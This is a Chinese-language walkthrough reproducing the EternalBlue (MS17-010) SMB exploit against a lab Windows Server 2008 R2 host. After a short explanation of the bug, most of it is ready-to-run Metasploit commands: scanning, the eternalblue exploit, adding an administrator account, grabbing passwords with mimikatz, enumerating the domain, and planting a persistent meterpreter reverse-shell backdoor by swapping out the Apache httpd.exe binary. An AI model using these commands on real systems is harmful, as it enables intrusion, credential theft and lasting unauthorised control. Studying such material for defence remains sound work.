永恒之蓝MS17-010漏洞复现
1.永恒之蓝简介
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
2.漏洞原理
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
-
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
-
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
-
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
3 影响版本
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
4.漏洞环境搭建
靶机:Windows Server 2008 R2
攻击机: kali
5.复现过程
1.启动靶机
靶机为Windows Server 2008 R2,ip为192.168.1.128
2.端口探测
sudo nmap A -p- -sS sC -T4 -Pn 192.168.1.128
探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞
6.打开MSF进行渗透
msfconsole
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010 #进行扫描探测
set RHOST 192.168.1.128
run
Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 #表示存在该漏洞
7.使用漏洞模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue #设置模块
set RHOST 192.168.1.128 #设置攻击目标
show options #查看设置情况
exploit #进行攻击
查看权限信息
shell
chcp 65001 解决进入shell中中文乱码
whoami/groups 查看我们当前的权限
getuid 查看已经获得的权限
systeminfo 查看系统信息,以及已打的补丁
netstat -an 查看开启端口号
net user username password /add windows 中添加用户
net localgroup administrators username /add 把添加的用户添加到管理员组
useradd –g 组名 用户名 linux下添加用户到root组
**使用mimikatz抓取密码**:用于在meterpreter模式下提权为systerm,在32位的进程中比较强大
(1)在windows 2000 和 windowsxp中无法使用
(2)mimikatz_command -f hash ::
(3)kerberos 抓取系统票据
(4)wdigest 获取系统账户信息
查询域名称:net view /domain
查询域内计算机:net view /doamin:xx
查询域控制器时间:net time /domain
查询域管理用户:net group "domain admins" /domain
得到域控制主机名:net group "domain controllers" /domain
获取域控主机名:net group "domain controllers" /domain
拿到shell后
是乱码输入 chcp 65001就好了
创建一个用户
net user kkk 123456abc# /add #密码不能太简单,否则创建失败
8.上传后门
ps -S httpd.exe
use payload/windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.128
generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-door.exe
启动一个监听,监听后门的反向连接,并使用 expolit-j 放到后台
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.128
exploit -j
切回之前的 meterpreter session,上传后门文件并重命名
cd c:\\wamp\\bin\\apache\\apache2.2.21\\bin\\
pwd
mv httpd.exe httpd.exe.bak
upload /root/httpd-door.exe
mv httpd-door.exe httpd.exe
重启 wampapache 服务
shell
exit